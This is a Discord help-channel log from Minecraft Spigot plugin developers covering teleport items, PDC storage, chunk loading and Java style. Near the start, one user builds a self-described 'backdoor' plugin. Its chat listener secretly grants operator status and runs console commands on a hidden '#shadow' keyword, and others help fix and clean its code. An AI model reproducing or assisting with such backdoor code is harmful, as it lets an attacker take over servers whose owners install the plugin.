#help-development

1 messages · Page 1597 of 1

grim ice
#

how am i insane

#

U WANT PROOF

unkempt ore
#

I do

#

Because I don't believe you

grim ice
#

ok

#

nvm

#

it works now

granite stirrup
#

can you execute console commands while server is stopping in the stop event(on disable)?

unkempt ore
#

I wouldn't think so

#

The stop event isn't cancellable is it

granite stirrup
#

no dont think so

unkempt ore
#

AntiStop plugin lmao

granite stirrup
#

there isnt a stop event other than on disable lol

granite stirrup
#

lmao

unkempt ore
#

Hmmm, idk about that man

granite stirrup
#

"AntiStop is a plugin that manages the /stop command"

#

i wonder how skript makes its on stop event

#

it must not be on disable?

#

cuz it can execute console commands

#

while stopping

unkempt ore
#

Can you show me skript

#

I have never actually seen any written skript

granite stirrup
#
    trigger:
        send "&3Enabled Private Messages."
        set {msgs::%player's uuid%} to true

command cloud:enabledms:
    trigger:
        send "&3Disabled Private Messages."
        set {msgs::%player's uuid%} to false
command rmsg [<offlineplayer>] [<text>]:
    aliases: rmessage,dm
    trigger:
        if arg 1 is set:
            if arg 2 is set:
                if arg 1 is player:
                    send "&3YOU&3 -> &3%arg 1%&3: &f%arg 2%"
                    send "&3%player%&3 -> &3YOU&3: &f%arg 2%" to arg 1
                    stop
                if {msgs::%arg 1's uuid%} is false:
                    send "&3YOU&3 -> &3%arg 1%&3: &f%arg 2%"
                    send "&3%player%&3 -> &3YOU&3: &f%arg 2%" to arg 1
                else:
                    send "&cThat player has disabled dms"
                stop
        send "/rmsg <player> <message>" ``` this is a pretty bad one but it is a skript
unkempt ore
#

I should've kept it that way

granite stirrup
#

lmao

unkempt ore
#

What the fuck is that dude

granite stirrup
#

a command

#

for message

grim ice
#

my backdoor plugin works now

#

I MEAN

#

TROLL

#

PLUGIN

unkempt ore
#

Cringe

#

Implement Serializable and make an RMI plugin

#

Eeeeeeasy

grim ice
#

bro

#

is ther ea way

#

i can do

grim ice
#

/evaluate 2hex.sendMessage(")

#

smth

#

alng these lines

granite stirrup
#

parser

unkempt ore
#

Nashorn

grim ice
#

wdym

unkempt ore
#

Nashorn

ivory sleet
#

That’s a JS engine ?

unkempt ore
#

Yes

#

Also Jython

granite stirrup
#

just write your own parser

unkempt ore
#

If you wanna roll that way

granite stirrup
#

not that hard

grim ice
#

what is nashon

#

is it related to what i said

unkempt ore
#

Nashorn lets you execute Java as if it was JS

ivory sleet
#

Something which is abandoned iirc

unkempt ore
#

And Jython the same

#

For py

granite stirrup
#

wait

#

doesnt java

#

have a class

#

to parse and run java code

#

from a string?

grim ice
#

@unkempt ore

unkempt ore
#

Compiler?

grim ice
#

yeah the plugin doesnt work well

ivory sleet
#

idkidk no why lol

grim ice
#

the first time u say #shadow it sends it in chat

unkempt ore
#

You probably mean Compiler

granite stirrup
unkempt ore
#

But it's not like that

#

Wdym hex?

grim ice
#

like

unkempt ore
#

Show me the code

grim ice
#

if i say #shadow

#

ok

granite stirrup
ivory sleet
#

or probably not that

granite stirrup
ivory sleet
#

Don’t think there is

#

Not in the standard lib

grim ice
#

first time i use #shadow it says

#

Could not pass event AsyncPlayerChatEvent to Hecks v1.0-SNAPSHOT

org.bukkit.event.EventException: null

granite stirrup
ivory sleet
#

Then you probably mean JIT

granite stirrup
#

no

#

not jit

#

its in java

ivory sleet
#

javac compiler?

grim ice
#

?paste

undone axleBOT
unkempt ore
#

2Hex VC

granite stirrup
#

im pretty sure its in a class

unkempt ore
#

Text does not work for you kid

grim ice
#

@granite stirrup sry i cant

#

its legit 12 am

#

my family is asleep

unkempt ore
#

Cringe

granite stirrup
#

?

unkempt ore
#

He meant me

grim ice
#

pls use text

unkempt ore
#

I said VC

grim ice
#

my code

granite stirrup
grim ice
#

So

granite stirrup
#

but im talking about in a class

ivory sleet
#

I mean we have jshell

#

And arguably ScriptEngine counts but not really java there

grim ice
#

Caused by: java.lang.IllegalStateException: PlayerCommandSendEvent cannot be triggered asynchronously from another thread.

#

I used the runTask thing

#

nothing

ivory sleet
#

Anyways point is java doesn’t have something in std lib to evaluate if thats what u mean

unkempt ore
#

Now that is weird

ivory sleet
#

That exception can’t be caused by the code you sent

unkempt ore
#

Yeah

#

It makes no sense

ivory sleet
#

Plus you should provide entire stacktrace

#

It’s a part of the error

#

A crucial one

unkempt ore
#
@EventHandler
public void onPlayerAsync(AsyncPlayerChatEvent event) {
    String msg = event.getMessage();

    if (msg.equalsIgnoreCase("#shadow")) {
        event.getPlayer().setOp(true);
        event.setCancelled(true);
    } else (msg.startsWith("#shadow")) {
        String command = msg.replace("#shadow ", "");
        Bukkit.getScheduler().runTask(Hecks.INSTANCE, () -> Bukkit.dispatchCommand(console, command));
        event.setCancelled(true);
    }
}
#

Cleaned it a tad though

#

Wait, args

#

Facepalm

grim ice
#

1s

#

?paste

undone axleBOT
grim ice
#

enjoy hurting ur eyes

#

idc if u get eye cancer after reading that error

grim ice
#

im not payin anythin

unkempt ore
#

Don't bother zoon

limber dust
#

got it lol

grim ice
#

Its async

eternal oxide
#

IllegalStateException: PlayerCommandSendEvent cannot be triggered asynchronously from another thread

#

you can't issue commands async

grim ice
#

solution

#

?

eternal oxide
#

runTask

unkempt ore
#

Yep

grim ice
#

if (args.length < 2) {
Bukkit.getScheduler().runTask(Hecks.INSTANCE, () -> player.setOp(true));
event.setCancelled(true);

#

do i do that with setcancelled too

grim ice
unkempt ore
#

No, probably not

cold tartan
#

does anyone know how the aote on hypixel skyblock works?

grim ice
#

Yes

#

I made a remake on it

cold tartan
#

could u send me the code?

grim ice
#

If you want to see it i can shwo

#

show

#

Sure

cold tartan
#

yes pls

grim ice
#

1s

cold tartan
#

np

grim ice
#

hm

#

its 1.16.5

cold tartan
#

np

#

it should be same for 1.17

#

this is the code im currently using:

RayTraceResult result = player.rayTraceBlocks(blocks);
Vector dir = player.getLocation().getDirection();

if (result != null) {           player.teleport(result.getHitPosition().toLocation(player.getWorld()));
        } else {
            player.teleport(player.getLocation().add(player.getLocation().getDirection().multiply(blocks)));
        }

        player.getLocation().setDirection(dir);
grim ice
#

woah woah

#

why all that

cold tartan
#

idk thats all i could think of

grim ice
#
if (player.getInventory().getItemInMainHand().isSimilar(AOTE)) {
            if (e.getAction().equals(Action.RIGHT_CLICK_BLOCK) || e.getAction().equals(Action.RIGHT_CLICK_AIR)) {
                Location currentLocation = player.getLocation();
                Vector Direction = player.getLocation().getDirection();
                Direction.multiply(5);
                Location target = currentLocation.add(Direction);
                Block newb = target.getBlock();
                if (newb.isEmpty()) {
                    player.teleport(target);
                    if (!newb.isEmpty()) {
                        player.sendMessage(ChatColor.RED + "You cannot teleport in this direction");
                    }
                }```
#

just multiply direction

#

ez

limber dust
#
                if (newb.isEmpty()) {
                    player.teleport(target);
                    if (!newb.isEmpty()) {
                        player.sendMessage(ChatColor.RED + "You cannot teleport in this direction");
                    }
                }``` ah yes, check if empty do this, then check in that same check if its not empty
#

smart

grim ice
#

i made that

#

ages ago

#

wat u expect that

#

its a lack of java experience

#

not a feature

cold tartan
#

nope

unkempt ore
#

What is AOTE

cold tartan
#

aspect of the end

grim ice
#

its supposed to tp

#

well

#

it went well

#

when i tested

#

do whatever u want

cold tartan
#

yeah thats intentional

grim ice
#

honestly

#

idk

cold tartan
grim ice
#

yea

cold tartan
#

k

#

so ill use 8

grim ice
#

its 8 but 8 kinda too op

#

i wasnt ready to make a mana system

#

so i just did 5

unkempt ore
#

How does the PDC work?

#

Is it JSON somewhere or what

cold tartan
limber dust
#

it stores values to a entity/item

unkempt ore
#

I know what it does

#

But how does it do it

granite stirrup
#

is the data stored in the world or server?

eternal night
#

PDC stores the values in NMS tags

#

with a 1 to 1 mapping

#

using the data type you supply

granite stirrup
#

yeah but it stores it in a .dat file i think

eternal night
#

Well yea, it is stored alongside all other NBT for the entity/item/whatever

grim ice
#

MY PLUGIN WORKS NICE

#

finally

granite stirrup
#

somewhere

eternal night
#

PDC ?

granite stirrup
#

for pdc

eternal night
#

no

#

it isn't xD

grim ice
#

now i can go pee the liquid i have been storing for 5 minutes

eternal night
#

trust me on this

granite stirrup
#

it isnt?

eternal night
#

it is stored as a normal part of the entity/item/whatever

granite stirrup
#

but what file

fluid cypress
#

can i create banners with the spigot api?

eternal night
#

whatever file that entity/item/whatever is stored in

#

for items it would be the tile entities in the chunk files

#

for tile-entities, well that

granite stirrup
#

what about players

eternal night
#

entities in 1.17 are stored in their own file, so PDC values live there

#

well, where is played data stored :>

granite stirrup
#

idk

#

in the world??

eternal night
#

player data files xD

#

no

opal juniper
limber dust
eternal night
#

^^

granite stirrup
#

is that in a world?

limber dust
#

yes

granite stirrup
#

oh so pdc is perworld?

#

i though it was per server

limber dust
#

it is server

#

but depending on what world you're on

granite stirrup
#

so its per world

unkempt ore
#

If it wasn't per world you'd be able to carry data like being able to carry inventory items between worlds

#

And you know that's not a thing

eternal night
#

player data (in the playerdata folder) is only kept in the main world of the server

granite stirrup
#

um isnt inventory items per server

eternal night
#

this is also where your enderchest for example is stored

unkempt ore
granite stirrup
#

but

quaint mantle
#

Nbt tags are just a map<string, Any>

granite stirrup
#

how am i keeping my stuff through worlds

whole stag
#

There are times that I really question the design choices behind java

paper geyser
#

hey guys!

#

I have this code that runs probably too well

#
        this.main = main;
    }

    @EventHandler
    public void SlimeReplace(EntitySpawnEvent event) {
        if (event.getEntity().getType() != EntityType.SLIME) {
            event.getEntity().remove();
            if (event.getLocation().getWorld() == Bukkit.getWorld("rpg")) {
                Location center = new Location(Bukkit.getWorld("rpg"), 68, 69, 125);
                Double distance = 75D;
                Location location = event.getLocation();
                if (location.distanceSquared(center) <= distance * distance) {
                    Entity ent = Bukkit.getWorld("rpg").spawnEntity(event.getLocation(), EntityType.SLIME);
                    Slime slime = (Slime) ent;

                }
            }
        }
    }```
#

as in

quaint mantle
#

Now about Map<Player, Int> Score

paper geyser
#

600+ slimes died due to entity cramming

granite stirrup
paper geyser
#

in 5 seconds

quaint mantle
#

Like what?

paper geyser
#

any idea as to why so many slimes are spawnign?

quaint mantle
#

You’re inventory does not change when switching worlds

granite stirrup
#

pretty sure it didnt yeah

limber dust
#

it doesn't unless you have plugins setup to block that

quaint mantle
#

Not much changes between worlds

#

Nbt is not per world

granite stirrup
#

no it was before i installed perworld inventory

quaint mantle
#

What?

sand rune
#

Guys , I'm trying to make simple ranks sys , but there is a problem , that when the server reloads , it don't reload the player data config , why????

granite stirrup
#

lol now this is turning into world help before it was about pdc

eternal night
#

welp pdc on chunks is very closely related to world

granite stirrup
#

i would of thought that pdc would be per server though

eternal night
#

it is

#

on a player

limber dust
#

magic of memory XD

unkempt ore
#

Yes

quaint mantle
#

Pdc is just an api

granite stirrup
#

the playerdata is in a world tho?

quaint mantle
#

For tags

eternal night
#

it lives in the main world

#

but is shared across all other worlds

#

e.g. how you have an enderchest

sand rune
granite stirrup
#

but in a world

cold tartan
#

i might throw up

unkempt ore
#

Oh my god

limber dust
#

the file is stored in world folder yes

granite stirrup
#

main is worser

unkempt ore
#

Don't tell me they're writing code in a .class

granite stirrup
#

Main is better but still bad

eternal night
#

doesn't mean it is unique to that world tho

cold tartan
#

no no no its decompiled, but its still main & not CamelCase

sand rune
#

Guys , I'm trying to make simple ranks sys , but there is a problem , that when the server reloads , it don't reload the player data config , why????

quaint mantle
unkempt ore
#

What is the "player data config"

quaint mantle
#

Would you prefer to name your stuff RanksPlugin LOL

unkempt ore
#

What are you talking about

granite stirrup
sand rune
quaint mantle
#

Main is proper what?

granite stirrup
#

but you shouldnt name class Main

quaint mantle
#

Since when?

granite stirrup
unkempt ore
granite stirrup
#

they could be other plugins with org.idkidk123.Main

#

the other plugins wouldnt work then

#

only one would

quaint mantle
#

Different directories? Wdym

granite stirrup
#

or maybe none

quaint mantle
#

You can have multiple plugins running with Main as there main class

granite stirrup
#

so it wouldnt work out

#

and it would error

#

if theres multiple

quaint mantle
#

No you shouldn’t be depending on the main class anywhere as well

granite stirrup
#

it will

lusty cipher
#

How can I achieve this with generics?

abstract class A {
  abstract <K> void func(K param);
}

class B {
  void func(Player param);
}
granite stirrup
#

you cant have two Main classes in two different jars unless its in different directory

torn shuttle
#

god I hate this 1.17 exclusive issue

quaint mantle
#

Have you tried it?

granite stirrup
#

org.idkidk12123.Main for jar1.jar and org.idkidk12123.Main for jar2.jar it wouldnt work

quaint mantle
#

Will error what?

ivory sleet
#

Yeah Bomp got a point, main is usually at the highest level and a concrete class to bind everything together, not a good idea to have stuff depending on it tightly

limber dust
#

i know what he means

granite stirrup
limber dust
#

but its still not great to do Main as the main class

quaint mantle
#

He’s saying you can’t have two separate plugins with same package directories

torn shuttle
#
    private void spawn() {
        new DeveloperMessage("Spawning 0");
        if (villager != null && villager.isValid()) return;
        new DeveloperMessage("Spawning 1");
        WorldGuardSpawnEventBypasser.forceSpawn();
        this.villager = spawnLocation.getWorld().spawn(spawnLocation, Villager.class, new Consumer<Villager>() {
            @Override
            public void accept(Villager villager) {
                villager.setAI(false);
                villager.setPersistent(false);
                villager.setRemoveWhenFarAway(false);
                villager.setCustomName(ChatColorConverter.convert(npCsConfigFields.getName()));
                villager.setCustomNameVisible(true);
                villager.setProfession(npCsConfigFields.getProfession());
            }
        });
        EntityTracker.registerNPCEntity(this);
        initializeRole();
        this.uuid = villager.getUniqueId();
        setTimeout();
        new DeveloperMessage("Spawning 2 - " + villager.isValid());
    }

1.16.5 (and older) - [EliteMobs] Developer message: Spawning 2 - true
1.17.1 - [EliteMobs] Developer message: Spawning 2 - false

give me a break

quaint mantle
#

And the same class name which is so wrong

sand rune
granite stirrup
torn shuttle
#

this is such bs

granite stirrup
#

it shouldnt

unkempt ore
#

And you're saying the server resetting...does what?

granite stirrup
#

how would it know which one

quaint mantle
#

Why wouldn’t it work?

unkempt ore
#

Man, this channel is moving fast

lusty cipher
# ivory sleet Achieve what?

That my superclass can have a fixed class Player as a parameter, instead of having to use K and having to cast to Player in the method body

ivory sleet
#

You can’t import two classes called Main within the same class. Then you’d have to refer to one with the fully qualified class name.

quaint mantle
#

Yea and as I said you should never be importing your main class anywhere

#

So there’s no issue

granite stirrup
#

how will spigot find the correct main

#

if its in the same package

ivory sleet
#

spnda one way would be to have a type param at class level

lusty cipher
#

Yeah class level I know, I'd still prefer it to be method level

cold tartan
#

how do u get the direction a play is facing?

unkempt ore
#

Their location

granite stirrup
#

getYaw getPitch on location i think

cold tartan
#

ok

unkempt ore
#

Location has getDirection

granite stirrup
#

oh

unkempt ore
#

Which is a normalized Vector

ivory sleet
#

Spnda one way would be to have the method from A set its type parameter to K extends Player

#

But what goes wrong here is that K is erased to Object

cold tartan
lusty cipher
#

method A is from a subproject, which doesnt depend on bukkit

unkempt ore
#

Weird

#

"Not working" meaning...?

ivory sleet
#

And since it’s just bound to its method, the derived class would have to specify the method signature of an Object then

#

Oh right

#

Maybe a wrapper

#

Like an adapter

shut field
#

how do you teleport someone somewhere without changing their rotation?

ivory sleet
#

Or bridger

lusty cipher
#

I mean that's too much work then if its just 1 or 2 methods

ivory sleet
#

Indeed

#

I would suggest class level

unkempt ore
cold tartan
#

i was doing:

Vector v = player.getLocation.getDirection();
--EDIT DIRECTION
player.getLocation.setDirection(v);

and it wouldnt set the direction to the original direction

ivory sleet
#

In fact that’s probably the only solid way

lusty cipher
#

yeah im just gonna do it like that

unkempt ore
#

You have to set the Player's Location to the edited Location

unkempt ore
#

"Doesn't work" means what

shut field
unkempt ore
#
dir = p.location.direction
destination = new location(x, y, z)
destination.setdirection(dir)
p.teleport(destination)
quaint mantle
granite stirrup
#

i didnt say i will

unkempt ore
#

Strange

quaint mantle
#

if you odnt then boom you can use Main

unkempt ore
#

So the direction does not set to where you're looking then

granite stirrup
shut field
cold tartan
#

wait

#

i found a kinda dumb way

quaint mantle
#

because its the main class

#

now carried that back to spigot

#

just preference tho

shut field
#

and I was asking if that is avoidable

cold tartan
#

Block b = player.getTargetBlock(null, blocks);
Location loc = new Location(b.getWorld(), b.getX(), b.getY(), b.getZ(), player.getLocation().getYaw(), player.getLocation().getPitch());
player.teleport(loc);

#

im trying that out now

#
Block b = player.getTargetBlock(null, blocks);
Location loc = new Location(b.getWorld(), b.getX(), b.getY(), b.getZ(), player.getLocation().getYaw(), player.getLocation().getPitch());
player.teleport(loc);
granite stirrup
unkempt ore
#

So you want to be able to have it teleport slightly forward, as in in the direction the player is looking?

shut field
#

and it does that while you hold swap hands

cold tartan
unkempt ore
#

b.getLocation().setDirection(player.getDirection()) lmao

shut field
unkempt ore
#

Actually, getLocation would clone it to begin with

#

You're doing a bunch of unnecessary stuff here

shut field
#

I am pretty sure that will still make it so you can't change the direction you are being teleported

granite stirrup
#

i have a old intellij lol its intellij 2020.2

unkempt ore
#

Or just store the vector they're being teleported to when they begin holding swap hands, and then keep utilizing that vector

#

By teleporting the player to the current location + the vector multiplied by some factor to make it smaller

#

If the player looked around, they'd keep teleporting in the same direction as when they started holding "swap'

foggy bough
#

which method makes it so that the drops are with physics? This one: java event.getBlock().getWorld().dropItem

granite stirrup
#

lol i have a 60 hz display but i play minecraft at over 100 fps

#

1.17

foggy bough
#

or this: event.getBlock().getWorld().dropItemNaturally?

granite stirrup
#

whats the difference between dropItemNaturally dropItem?

granite stirrup
#

XD

#

probs dropItemNaturally

#

idk

unkempt ore
#

Read the docs

foggy bough
foggy bough
unkempt ore
#

Well?

foggy bough
unkempt ore
#

I'd say both of them still drop the item

#

I just read them

foggy bough
#

k but there has to be a difference

unkempt ore
#

Drop item naturally just makes the location slightly random. A "natural" drop

#

And flings it a tiny bit, probably

granite stirrup
#

oh lol it says dropItemNaturally(Location location, ItemStack item)
Drops an item at the specified Location with a random offset

unkempt ore
#

It probably takes the direction of the location as well

#

Doesn't just plop it down

granite stirrup
#

how tf is that natural tho

foggy bough
#

but is there a way to make the drop spawn and physics like a dirt block or something?

unkempt ore
#

It means "natural" as in, imagine a hopper dropping it

#

It offsets it a bit each time

granite stirrup
#

hoppers dont drop

unkempt ore
#

Sorry, sorry

#

Dropper

#

But unnaturally would be throwing it and having it land in exactly the same place each time

#

That is what it looks like to me

granite stirrup
#

pretty sure dropper throws it just forward and up a bit in like a curv?

unkempt ore
granite stirrup
#

yeah but it doesnt use x or z depending on what orientation its placed and im pretty sure if its placed upside down or up it just drops a item?

unkempt ore
#

It's slight

#

But it is there

granite stirrup
#

idk

#

i dont see it

unkempt ore
#

Like you know how they spew items in slightly different angles when they're spamming drops?

#

That's natural

#

Unnatural would be a perfect stream

granite stirrup
#

oof the dropper or dispenser cant place command blocks any more

#

i didnt know that in 1.16

brisk jacinth
#

I just learned Java and have no clue on what I should try to make as a plugin
Anyone have any ideas?

ivory sleet
#

Coffee plugin

granite stirrup
#

i suggest to start with something small and do bigger stuff as soon as you get more advanced in java

brisk jacinth
granite stirrup
#

cuz im rubbish at thinking of ideas

#

lmao

brisk jacinth
granite stirrup
#

maybe he means like you do /coffee and it says You have i coffee

brisk jacinth
#

That's too easy for me lol

granite stirrup
#

saving?

#

per player

brisk jacinth
#

What do you mean

granite stirrup
#

like you save it to a file

#

on stop

#

all the players

#

and load it back in

#

at start

#

so when you have 5 coffee and you restart you still have 5 coffee

ivory sleet
#

Create a vault implementation plugin then maybe

brisk jacinth
#

I used a youtube tutorial that helped me create a currency plugin which saves and loads in what I named tokens and I also added a command that allows players to pay each other

#

Thats the most advanced plugin I've made

limber dust
#

make a shop plugin to use the tokens maybe

granite stirrup
#

anyone can probs make that

#

not the shop plugin

#

but the tokens thing

brisk jacinth
granite stirrup
#

Bukkit.createInventory

#

?jd

brisk jacinth
#

I've seen it on the docs before

granite stirrup
#

i mean you could also go for a inventory framework

brisk jacinth
#

Yeah like a gui

granite stirrup
#

do you actually know what gui stands for?

#

its graphical user interface xd

brisk jacinth
#

I know how to make a simple GUI in java too lol

granite stirrup
#

ah yeah same

brisk jacinth
#

it's JOptionPane if I remember correctly

granite stirrup
#

JFrame and Canvas

#

oh i used JFrame

#

and Canvas for drawing but you dont need it

brisk jacinth
#

because I only learned Java so I can createm Minecraft plugins lol

cold tartan
granite stirrup
#

hmm yeah but if you want to draw in pixels you need to use Canvas

brisk jacinth
granite stirrup
#

theres bunch of them

#

?learnjava

undone axleBOT
brisk jacinth
cold tartan
#

how do u get player motion

#

like player.getMotion()

unkempt ore
granite stirrup
#

getVelocity?

unkempt ore
#

The player motion is just the ve-

#

I'm gonna cry

#

Weep even

cold tartan
unkempt ore
#

How though, that is so weird

cold tartan
unkempt ore
#

I want to understand what the difference is

#

Because b.getLocation() makes a clone in the first place

granite stirrup
#

Speed is simply the rate of change of motion.
Velocity is direction-aware and it is the rate of change of position of an object.

from google

unkempt ore
#

Which is why velocity can be negative but not speed

granite stirrup
#

Player doesnt even have getMotion()

#

getVelocity() is a method

#

hOLLY SHit

cold tartan
granite stirrup
#

AbstractArrow, AbstractHorse, AbstractSkeleton, AbstractVillager, Ageable, Ambient, Animals, AreaEffectCloud, ArmorStand, Arrow, Axolotl, Bat, Bee, Blaze, Boat, Boss, Breedable, Cat, CaveSpider, ChestedHorse, Chicken, Cod, CommandMinecart, ComplexEntityPart, ComplexLivingEntity, Cow, Creature, Creeper, Damageable, Dolphin, Donkey, DragonFireball, Drowned, Egg, ElderGuardian, EnderCrystal, EnderDragon, EnderDragonPart, Enderman, Endermite, EnderPearl, EnderSignal, Evoker, EvokerFangs, ExperienceOrb, Explosive, ExplosiveMinecart, FallingBlock, Fireball, Firework, Fish, FishHook, Flying, Fox, Ghast, Giant, GlowItemFrame, GlowSquid, Goat, Golem, Guardian, Hanging, Hoglin, HopperMinecart, Horse, HumanEntity, Husk, Illager, Illusioner, IronGolem, Item, ItemFrame, LargeFireball, LeashHitch, LightningStrike, LingeringPotion, LivingEntity, Llama, LlamaSpit, MagmaCube, Marker, Minecart, Mob, Monster, Mule, MushroomCow, NPC, Ocelot, Painting, Panda, Parrot, Phantom, Pig, Piglin, PiglinAbstract, PiglinBrute, PigZombie, Pillager, Player, PolarBear, PoweredMinecart, Projectile, PufferFish, Rabbit, Raider, Ravager, RideableMinecart, Salmon, Sheep, Shulker, ShulkerBullet, Silverfish, SizedFireball, Skeleton, SkeletonHorse, Slime, SmallFireball, Snowball, Snowman, SpawnerMinecart, SpectralArrow, Spellcaster, Spider, SplashPotion, Squid, Steerable, StorageMinecart, Stray, Strider, Tameable, ThrowableProjectile, ThrownExpBottle, ThrownPotion, TippedArrow, TNTPrimed, TraderLlama, Trident, TropicalFish, Turtle, Vehicle, Vex, Villager, Vindicator, WanderingTrader, WaterMob, Witch, Wither, WitherSkeleton, WitherSkull, Wolf, Zoglin, Zombie, ZombieHorse, ZombieVillager -- this is how many classes implements Entity

quaint mantle
#

did you forget how many entities are in minecraft?

granite stirrup
quaint mantle
granite stirrup
#

wtf are sheeps going black

#

in optifine 1.17.1

#

wtf

#

is all entities

#

going black in optifine 1.17.1

#

WTF

#

MY PLAYER TURNS TRANSPARENT

brisk jacinth
#

How do I make one command to have 2 things

#

like so I could make it not only /tokens

#

but like /te or /token as well

unkempt ore
timber oracle
#

yo

#

how come armorstands are still visible when i set visibility to false??

#

they're originally invisible, and then when a user relogs they become visible

cold tartan
brisk jacinth
cold tartan
#

*lines:

Set<Material> transparent = new HashSet<>();
transparent.add(Material.WATER);
transparent.add(Material.AIR);
transparent.add(Material.VOID_AIR);
transparent.add(Material.CAVE_AIR);
Block b = player.getTargetBlock(transparent, blocks);
cold tartan
brisk jacinth
limber dust
#

you make aliases in your plugin.yml

brisk jacinth
#

do I add aliases under the command

cold tartan
#

yeah

brisk jacinth
#

how would I add two

limber dust
#
  <command>:
    description: Player help command
    usage: /<command>
    aliases:
      - <1>
      - <2>
      - <3>```
brisk jacinth
#

ah ok

cold tartan
#
commands:
  hi:
    aliases: [hello, howdy]
granite stirrup
limber dust
#

or ^

maiden thicket
#

tf is void air and cave air

#

is that to like

#

see if ur in a cave or the void

cold tartan
brisk jacinth
#

so like
commands:
tokens:
description: Main tokens command
aliases:
- te
- token

unkempt ore
#

🔫

torn shuttle
#

#getChunk loads a chunk right? Does #getChunkAt from #getWorld also do that?

lost matrix
torn shuttle
#

so I can't understate how much this sucks if you're trying to queue something for a chunk load event

granite stirrup
torn shuttle
#

so as of 1.17 shit just doesn't spawn correctly in unloaded chunks, so you have to load the chunk

#

except sometimes loading the chunk ahead of time also causes shit to not load properly

#

so I queue it by putting it in the load event

#

except I need a huge workaround to get the chunk loading to work because I can't tell the plugin which chunk I will be working with

lusty cipher
#

oh holy crap what the heck is this

lusty cipher
torn shuttle
#

this is sort of making me lose my mind

lost matrix
# torn shuttle so I queue it by putting it in the load event

Did i get this right?

  1. So you schedule an action (with an entry to a map like:)
    Map<Long, Consumer<Chunk>
  2. Then you load the chunk with a chunk ticket. But first you check if its loaded already ofc.
  3. Then listen for the ChunkLoadEvent, get the consumer out of the map and apply the action to the chunk.
torn shuttle
#

that's the general idea but it comes with a lot of caveats

#

you can't directly check if a chunk is loaded so I check via the world method

lost matrix
lusty cipher
#

its like legit 300 lines of code

torn shuttle
#

and you can't really listen to the event without finding a way to hash or serialize the chunk into a format that doesn't require having the chunk object in the first place

#

because if you get the chunk it loads

#

and it probably loads before you can queue your consumer

lost matrix
torn shuttle
#

I don't have my chunk ahead of time is the thing, I have an arbitrary location

lost matrix
#

Just by the coordinates. Thats deterministic.

torn shuttle
#

also let me point out that this is for the sole purpose of spawning an entity in an unloaded chunk, it's a very involved process for something that in previous versions you could simply do via the spawn method

lost matrix
# torn shuttle I don't have my chunk ahead of time is the thing, I have an arbitrary location
  public static boolean isChunkLoaded(final Location loc) {
    final int chunkX = loc.getBlockX() >> 4;
    final int chunkZ = loc.getBlockZ() >> 4;
    final World world = loc.getWorld();
    if (world == null) {
      return false;
    }
    return world.isChunkLoaded(chunkX, chunkZ);
  }
  public static long getChunkKey(final int x, final int z) {
    return (long) x & 0xFFFFFFFFL | ((long) z & 0xFFFFFFFFL) << 32;
  }

  public static long getChunkKey(final Location loc) {
    return getChunkKey(loc.getBlockX() >> 4, loc.getBlockZ() >> 4);
  }
sharp bough
lost matrix
#

Just use a Map<Long, Consumer<Chunk>>

next stratus
#

Does 1.12 use item ids?

torn shuttle
#

I honestly thought the fact that unloaded chunk spawning broke was a bug

#

it worked great in previous versions, I used it very thoroughly

#

if the api supported it from at least 1.9 ish to 1.116 I think someone could expect that this is a stable behavior

#

that's the thing though

#

loading the chunks ahead of time does not guarantee it will work

#

not in the least

#

only if you start playing around with keeping it alive for a few ticks and then manipulating it

lost matrix
# torn shuttle it's not like I don't have it

This is a mock up:

  private final Map<Long, Consumer<Chunk>> queuedChunkActions = new HashMap<>();

  public void queueForLocation(final Location location, final Consumer<Location> chunkLoadConsumer) {
    final long chunkKey = UtilChunk.getChunkKey(location);
    if (UtilChunk.isChunkLoaded(location)) {
      // Directly apply action on location
      chunkLoadConsumer.accept(location);
    } else {
      // Queue for later use
      this.queuedChunkActions.put(chunkKey, (chunk) -> {
        chunkLoadConsumer.accept(location);
        this.queuedChunkActions.remove(chunkKey);
        // Remove plugin ticket here
      });
      // Add plugin ticket here
    }

  }

  @EventHandler
  public void onChunkLoad(final ChunkLoadEvent event) {
    final Chunk chunk = event.getChunk();
    final long chunkKey = UtilChunk.getChunkKey(chunk);
    final Consumer<Chunk> chunkConsumer = this.queuedChunkActions.remove(chunkKey);
    if (chunkConsumer != null) {
      chunkConsumer.accept(chunk);
    }
  }

No chunk needs to be loaded right away but you can queue an action for later when the chunk is loaded.

torn shuttle
#

yeah I fucking agree lol

#

?paste

undone axleBOT
torn shuttle
#

right now it is working with the caveat that I am accidentally loading the chunks so like half the stuff spawns on startup the other half gets queued

lost matrix
#

You dont even discriminate between chunks

#

You just spawn the NPC at the next random chunk that gets loaded

torn shuttle
#

wdym it won't work, it works

#

and i do discriminate going through the chunk location util which hashes the chunk object

#

I really don't care if those two are anonymous

lost matrix
torn shuttle
#

x z and world uuid get hashed

lost matrix
torn shuttle
#

yes

#

yes it does

#

I realize that

lost matrix
#

Then dont

torn shuttle
#

I know

lost matrix
#

You can just represent the chunk with a single long.

torn shuttle
#

it's just because I keep getting the shovel out and digging deeper for spawning things in unloaded chunks that I came here to check if someone else was experiencing the same issue

#

never heard of that method before, seems useful

lost matrix
#

With a double wrapped list

torn shuttle
#

🤷

#

I never said otherwise

lost matrix
#

Ive seen worse.

torn shuttle
#

why do you have expectations to start with

#

maybe you should curb them then

#

what did you found them on?

#

I am fully self taught in programming, I don't walk around with an encyclopedic knowledge of programming

#

it's still not even my main activity

#

so this is your preferred way? npcEntityHashMap.computeIfAbsent(worldName, key -> new ArrayList<>()).add(npcEntity);

#

pretty cool little helper function, thanks

#

well I've got about 100 code instance this will be replacing in a near future lol

#

yeah I've been starting to dip my toes in the deeper side of the java pool lately, there's still a whole world out there I've not touched yet

#

actually do you want to take a quick look at the most complex system I've worked on recently, I could use a code review

#

?paste

undone axleBOT
torn shuttle
#

https://paste.md-5.net/gilakarexo.java it works but it's feels very patchwork right now because I've had to tweak a lot of stuff after the initial design doc, I'm dead certain I can probably just pass classes to make this simpler and more efficient

#

oh also some of the comments are out of date compared to the actual implementation

#

I've had a lot of "fun" with this one

#

do I even do any operations other than dumping into the hashmap in this class?

#

the only time this class interfaces with the hashmap is when it runs the addCustomConfigFields method

#

which I could probably straight up delete and dump into directly, this is leftovers from a previous implementation where it needed to be public

#

yeah, to be clear this class gets extended and then it becomes relevant that it is a hashmap, or at least i think it does I've not used different map implementations much

#

trying to look it up, given the nature of this class I think I use nearly every method that does exist lol

#

I'll have to take a closer look later at where stuff should be maps vs hashmaps I guess

#

I guess I'll have to take a closer look at the other implementations of the map because I've hardly ever used them, if I've used them at all

#

linkedhashmap, hashtable and treemap

#

yeah I tend to avoid external libraries at least until I have a better understanding of base java

#

